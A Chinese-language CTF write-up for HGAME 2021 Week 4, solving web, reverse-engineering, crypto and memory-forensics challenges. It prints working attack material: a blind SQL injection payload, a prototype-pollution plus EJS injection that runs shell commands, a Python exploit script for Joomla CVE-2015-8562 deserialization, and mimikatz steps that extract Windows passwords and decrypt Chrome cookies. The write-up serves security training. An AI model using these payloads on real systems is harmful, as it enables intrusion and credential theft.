HGAME2021 - Week 4 writeup

web

Unforgettable [450]

整体功能与 week 3 的 Forgetful 相同,但原本的 SSTI 注入点过滤了 {{ }}、 {% %} 等符号

注册时多了一个邮箱,登录时需要的用户名也改成了邮箱,登录后多了一个 /user 页面可以查看用户信息(用户名等)

经过测试发现用户名存在 SQL 延迟盲注漏洞,可以在登录后通过请求 /user 页面触发,payload 格式为

foobar'&&(if((length(now())>1,benchmark(99999999,sha(1)),0))#

依次爆出库名 todolist、表名 ffflllaagggg、列名 ffllllaaaagg 后即可查出 flag

Flag: hgame{0rm_i5_th3_s0lu7ion}

漫无止境的星期日 [400]

HTML 注释中提示了源码备份 /static/www.zip,是使用 Node.js Express 框架写的网站,审计发现存在原型链污染漏洞

// ...[OMITTED]...
app.use(bodyParser.urlencoded({ extended: true })).use(bodyParser.json())  // 请求可以提交 JSON
// ...[OMITTED]...
app.all('/', (req, res) => {
    let data = { name: "", discription: "" }
    if (req.ip === "::ffff:127.0.0.1") {
        data.crying = true
    }
    if (req.method == 'POST') {
        Object.keys(req.body).forEach((key) => {
            if (key !== "crying") {  // 可以在请求 JSON 中通过 `__proto__` 键进行原型链污染来绕过
                data[key] = req.body[key]
            }
        })
        req.session.crying = data.crying
        req.session.name = data.name
        req.session.discription = data.discription

        return res.redirect(302, '/show');
    }

    return res.render('loop')
})
// ...[OMITTED]...

提交请求如 {"__proto__": {"crying": true}, "name": "test", "discription": "test"} 即可将 req.session.crying 置为 true,绕过后续 /wish 页的权限控制

// ...[OMITTED]...
app.all('/wish', (req, res) => {
    if (!req.session.crying) {
        return res.send("forbidden.")
    }

    if (req.method == 'POST') {
        let wishes = req.body.wishes
        req.session.wishes = ejs.render(`<div class="wishes">${wishes}</div>`)
        return res.redirect(302, '/show');
    }

    return res.render('wish');
})
// ...[OMITTED]...

此处又存在 EJS 的 SSTI 漏洞,提交请求如 wishes=<%- global.process.mainModule.require('child_process').execSync('ls -l /') %> 即可 RCE

flag 文件位于 /flag

参考资料:Express+lodash+ejs: 从原型链污染到 RCE

Flag: hgame{nOdeJs_Prot0type_ls_fUnny&[email protected]_Injection}

joomlaJoomla!!!!! [450]

使用 Joomla 搭建的博客,附件提供了源码,查看 joomla.xml 可知版本为 3.4.5,受 CVE-2015-8562 影响

  1. 构造客户端 useragent 字符串
  2. joomla 将 useragent 存储为 session
  3. 执行 session 合并后进行序列化并将带有 poc 的字符串存入数据 (这里触发 mysql 截断漏洞)
  4. 客户端发起请求
  5. 服务端从 mysql 读入数据库并反序列化 session (这里触发 php 反序列化漏洞)
  6. 执行 poc 并闭合函数

Source: Joomla 3.4.5 反序列化漏洞(CVE-2015-8562) 分析

直接使用 POC 失败,下载官方 3.4.5 原版文件后进行 diff,发现 libraries/joomla/session/session.php 中存在两处修复

$ diff -r html Joomla_3.4.5-Stable-Full_Package
Only in html: .htaccess
Only in html: configuration.php
Only in Joomla_3.4.5-Stable-Full_Package: installation
diff -r html/libraries/joomla/session/session.php Joomla_3.4.5-Stable-Full_Package/libraries/joomla/session/session.php
990,993d989
<                   $pos = strpos($_SERVER['HTTP_X_FORWARDED_FOR'],'|');
<                   if($pos){
<                       $_SERVER['HTTP_X_FORWARDED_FOR'] = substr_replace($_SERVER['HTTP_X_FORWARDED_FOR'],'',$pos,strlen('|'));
<             }
1021,1024d1016
<                 $pos = strpos($_SERVER['HTTP_USER_AGENT'],'|');
<                 if($pos){
<                     $_SERVER['HTTP_USER_AGENT'] = substr_replace($_SERVER['HTTP_USER_AGENT'],'',$pos,strlen('|'));
<                 }

由于移除了请求头 UA 中的 |,导致反序列化攻击失败,但由于只替换了第一处,所以只要提交两个 | 即可绕过

import requests


def php_str_noquotes(data):
    encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))

    return encoded[:-1]


url = 'http://[REDACTED]:6788/'
r = requests.Session()
r.headers.pop('user-agent')
r.get(url)

php_payload = "var_dump(system('cat /flag'));"
php_payload = "eval({0})".format(php_str_noquotes(php_payload))
payload = rb'''}__test||O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
payload += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload).encode()
payload += rb''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + b'\xf0\xfd\xfd\xfd'
r.get(url, headers={'user-agent': payload})
resp = r.get(url, headers={'user-agent': payload})
print(resp.text)

flag 文件位于 /flag

Flag: hgame{WelCoME~TO-ThIs_Re4Lw0RLD}

reverse

A 5 Second Challenge [400]

使用 Unity 制作的扫雷游戏,每步要在 5 秒内完成

附件中包含了 Managed/AFiveSecondChallenge.dll(游戏逻辑的 C# 源码),和 il2cppOutput 目录(IL2CPP 的输出)两处泄露

使用 dnSpy 或 ilSpy 反编译 AFiveSecondChallenge.dll,发现判断指定坐标是否有雷的 BombChecker.CheckBombAt 方法中的指令全被替换成了 nop

在 il2cppOutput 中查找 CheckBombAt,在 AFiveSecondChallenge.cpp 中找到此方法的 C++ 实现,可以整理为如下逻辑

bool CheckBombAt(Vector2 vec) {
    double V_0 = 0.0;
    double V_1 = 0.0;
    double V_2 = 0.0;

    Matrix matrix = get_matrix();

    float Y = vec.get_y_1();
    float X = vec.get_x_0();

    double L_8 = matrix->GetAt(Y, X / 3, 0);
    double V_0 = matrix->GetAt(Y, X / 3, 1);
    double V_1 = matrix->GetAt(Y, X / 3, 2);

    V_2 = fmodf(X, 3.0f) - 1.0f;

    return (((((L_8 * V_2) * V_2) + (V_0 * V_2)) + V_1) > 0.0);
}

其中 get_matrix() 载入可以从 dll 中提取的三维数组 matrix

一开始以为要编写脚本自动完成游戏,画出所有雷的位置后可以发现是个二维码,扫码即为 flag

from math import fmod
from PIL import Image, ImageDraw

with open(r'matrix.txt') as f:
    matrix = eval(f.read())


def checkBombAt(x, y):
    L_8 = matrix[y][x // 3][0]
    V_0 = matrix[y][x // 3][1]
    V_1 = matrix[y][x // 3][2]
    V_2 = fmod(x, 3.0) - 1.0

    return (((((L_8 * V_2) * V_2) + (V_0 * V_2)) + V_1) > 0.0)

bombs = []
for x in range(45):
    for y in range(45):
        if checkBombAt(x, y):
            bombs.append((x,y))

im = Image.new('1', (45, 45), 1)
draw = ImageDraw.Draw(im)
draw.point(bombs, fill=0)
im.show()

Flag: hgame{YOU~hEn-duO_yOU-X|~DOU-sHi~un1Ty~k4i-fA_de_O}

crypto

夺宝大冒险 1 [350]

线性同余生成器(LCG),三个 test 依次需要解出增量、乘数、模数

from libnum import invmod, reduce, gcd
from pwn import *

# context.log_level = 'debug'


def crack_unknown_increment(states, modulus, multiplier):
    return (states[1] - states[0] * multiplier) % modulus


def crack_unknown_multiplier(states, modulus):
    multiplier = (states[2] - states[1]) * invmod(states[1] - states[0], modulus) % modulus
    return multiplier, crack_unknown_increment(states, modulus, multiplier)


def crack_unknown_modulus(states):
    diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
    zeroes = [t2 * t0 - t1 * t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
    return abs(reduce(gcd, zeroes))


while True:
    io = remote('[REDACTED]', 30641)
    try:
        # lcg 1
        resp = io.recvline()
        m, n = resp.strip()[1:-1].split(b', ')
        m, n = int(m), int(n)
        s0 = int(io.recvline().strip())
        s1 = int(io.recvline().strip())
        c = crack_unknown_increment([s0, s1], n, m)
        io.sendline(str(c))
        # lcg 2
        n = int(io.recvline().strip())
        states = []
        for _ in range(3):
            states.append(int(io.recvline().strip()))
        m, c = crack_unknown_multiplier(states, n)
        io.sendline(str(m))
        io.sendline(str(c))
        # lcg 3
        states = []
        for _ in range(7):
            states.append(int(io.recvline().strip()))
        n = crack_unknown_modulus(states)
        io.sendline(str(n))
        # result
        if io.recvline() == b'fail\n':
            continue
        else:
            # flag
            print(io.recv())
            break
    except:
        io.close()
        continue

参考资料:攻击线性同余生成器 (LCG)

Flag: hgame{Cracking^prng_Linear)Congruential&Generators}

夺宝大冒险 2 [300]

线性反馈移位寄存器(LFSR),猜 100 次随机数,猜错时会显示正确答案,需要猜对至少 80 次才能得到 flag

可以先爆出前 10 次 test 的正确答案,即前 40 个随机数,就可以通过 z3 解出初始值 init

import z3
from pwn import *
from task import LXFIQNN

# context.log_level = 'debug'


def solve_lfsr(results):
    length = 40
    indexes = [0, 2, 4, 5, 6, 7, 9, 10, 11, 15, 20, 25, 27, 31, 33, 36, 37, 39]
    s = z3.Solver()
    x = init_recovered = z3.BitVec('x', length)
    for result in results:
        res = 0
        for i in range(len(indexes)):
            relevant_bit = init_recovered & (1 << indexes[i])
            bit_value = z3.LShR(relevant_bit, indexes[i])
            res ^= bit_value

        s.add(res == result)
        init_recovered = ((init_recovered << 1) & (2 ** (length + 1) - 1)) ^ result

    if s.check() == z3.sat:
        return int(str(s.model()[x]))
    else:
        exit(1)


results = []
io = remote('[REDACTED]', 30607)
for _ in range(10):  # get the first 40 results
    io.recvuntil('guess: ')
    io.sendline('114514')
    secret = f"{int(io.recvline().rpartition(b' ')[-1]):04b}"
    for bit in secret:
        results.append(int(bit))

init = solve_lfsr(results)
success(f'init={init:040b}')

prng = LXFIQNN(init, 0b1011001010001010000100001000111011110101, 40)
for _ in range(40):  # sync states
    prng.next()

for _ in range(90):  # answer the rest
    io.recvuntil('guess: ')
    secret = prng.random(4)
    io.sendline(str(secret))
    print(io.recvline())

success(io.recvline())  # flag

参考资料:zer0lfsr

Flag: hgame{lfsr_121a111y^use-in&crypto}

misc

Akira 之瞳 - 1 [350]

Windows 内存取证,通过 volatility 提取

$ volatility -f important_work.raw imageinfo
# ...[OMITTED]...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
# ...[OMITTED]...

$ volatility --plugin=./plugins -f important_work.raw --profile=Win7SP1x64 mimikatz
# ...[OMITTED]...
Module   User             Domain           Password
-------- ---------------- ---------------- ----------------------------------------
wdigest  Genga03          HGAME2021        asdqwe123
wdigest  HGAME2021$       BANGDREAM

$ volatility -f important_work.raw --profile=Win7SP1x64 pslist
# ...[OMITTED]...
0xfffffa800f263b30 important_work         1092   2232      1       16      1      1 2021-02-18 09:47:15 UTC+0000
# ...[OMITTED]...

$ volatility -f important_work.raw --profile=Win7SP1x64 dumpfiles -p 1092 -D output
# ...[OMITTED]...
DataSectionObject 0xfffffa800f2703d0   1092   \Device\HarddiskVolume1\Users\Genga03\Desktop\work.zip
SharedCacheMap 0xfffffa800f2703d0   1092   \Device\HarddiskVolume1\Users\Genga03\Desktop\work.zip
# ...[OMITTED]...

$ volatility -f important_work.raw --profile=Win7SP1x64 memdump -p 1092 -D output
# ...[OMITTED]...

$ binwalk -e output/1092.dmp
# ...[OMITTED]...
1155104       0x11A020        Zip archive data, at least v2.0 to extract, name: Liz to Aoi Bird/
1155150       0x11A04E        Zip archive data, encrypted at least v2.0 to extract, compressed size: 12061353, uncompressed size: 12686717, name: Liz to Aoi Bird/Blind.png
13216558      0xC9AB2E        Zip archive data, encrypted at least v2.0 to extract, compressed size: 11383965, uncompressed size: 11408307, name: Liz to Aoi Bird/src.png
# ...[OMITTED]...

查看提取出的压缩包,有注释 “Password is sha256(login_password)”,用用户密码 asdqwe123 的 sha256 hash 解压,得到两张看上去相同的图片:src.png 与 Blind.png,猜测为 PNG 盲水印隐写

使用chishaxie/BlindWaterMark提取出隐写的 flag 图像

$ python3 bwmforpy3.py decode src.png Blind.png output.png
image<src.png> + image(encoded)<Blind.png> -> watermark<output.png>

Flag: hgame{7he_f1ame_brin9s_me_end1ess_9rief}

Akira 之瞳 - 2 [400]

Windows 内存取证,附件中除了 dump 文件外还有一个加密的 7z 压缩包

$ volatility -f secret_work.raw imageinfo
# ...[OMITTED]...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
# ...[OMITTED]...

$ volatility --plugin=./plugins -f secret_work.raw --profile=Win7SP1x64 mimikatz
# ...[OMITTED]...
Module   User             Domain           Password
-------- ---------------- ---------------- ----------------------------------------
wdigest  Genga03          HGAME2021        vIg*q3x6GFa5aFBA
wdigest  HGAME2021$       BANGDREAM

$ volatility -f secret_work.raw --profile=Win7SP1x64 filescan | grep "Genga03"
# ...[OMITTED]...
0x000000007ef94820      2      0 RW-r-- \Device\HarddiskVolume1\Users\Genga03\Desktop\dumpme.txt
# ...[OMITTED]...

$ volatility -f secret_work.raw --profile=Win7SP1x64 dumpfiles -D output -Q 0x000000007ef94820
# ...[OMITTED]...

$ cat output/file.None.0xfffffa801aa35340.dat
zip password is: 5trqES&P43#y&1TO
And you may need LastPass

使用该密码解压 7z,得到一个 DPAPI 的 secrets、一个 VeraCrypt 的 container、一个 Chrome 的 Cookies 数据库

至今不知道为什么说可能要用到 LastPass

使用 mimikatz 通过用户密码取出 masterkey,然后解密 Chrome 保存的 cookies

mimikatz # dpapi::masterkey /in:"secret\S-1-5-21-262715442-3761430816-2198621988-1001\57935170-beab-4565-ba79-2b09570b95a6" /password:vIg*q3x6GFa5aFBA
# ...[OMITTED]...
[masterkey] with password: vIg*q3x6GFa5aFBA (normal user)
  key : 3cafd3d8e6a67edf67e6fa0ca0464a031949182b3e68d72ce9c08e22d7a720b5d2a768417291a28fb79c6def7d068f84955e774e87e37c6b0b669e05fb7eb6f8
  sha1: 8fc9b889a47a7216d5b39c87f8192d84a9eb8c57

mimikatz # dpapi::chrome /in:"secret\Cookies" /unprotected /masterkey:3cafd3d8e6a67edf67e6fa0ca0464a031949182b3e68d72ce9c08e22d7a720b5d2a768417291a28fb79c6def7d068f84955e774e87e37c6b0b669e05fb7eb6f8

Host  : localhost ( / )
Name  : VeraCrypt
Dates : 2/19/2021 7:08:59 AM -> 2/19/2022 7:00:00 AM
 * volatile cache: GUID:{57935170-beab-4565-ba79-2b09570b95a6};KeyHash:8fc9b889a47a7216d5b39c87f8192d84a9eb8c57;Key:available
 * masterkey     : 3cafd3d8e6a67edf67e6fa0ca0464a031949182b3e68d72ce9c08e22d7a720b5d2a768417291a28fb79c6def7d068f84955e774e87e37c6b0b669e05fb7eb6f8
Cookie: !bWjAqM2z!iSoJsV*&[email protected]*AVI1VrtAb

可见这个 cookie 其实是 VeraCrypt 的密码,在 VeraCrypt 中选择 container 并用该密码挂载,内有一个 ADS.jpg

根据文件名 ADS 提示,猜测可能有 NTFS 交换数据流隐写,使用 AlternateStreamView 扫描挂载的分区即可找到 :flag.txt:$DATA,导出为 txt 即得 flag

Flag: hgame{Which_0nly_cryin9_3yes_c4n_de5cribe}

Categories: CTF

0 Comments

Leave a Reply

Avatar placeholder

Your email address will not be published. Required fields are marked *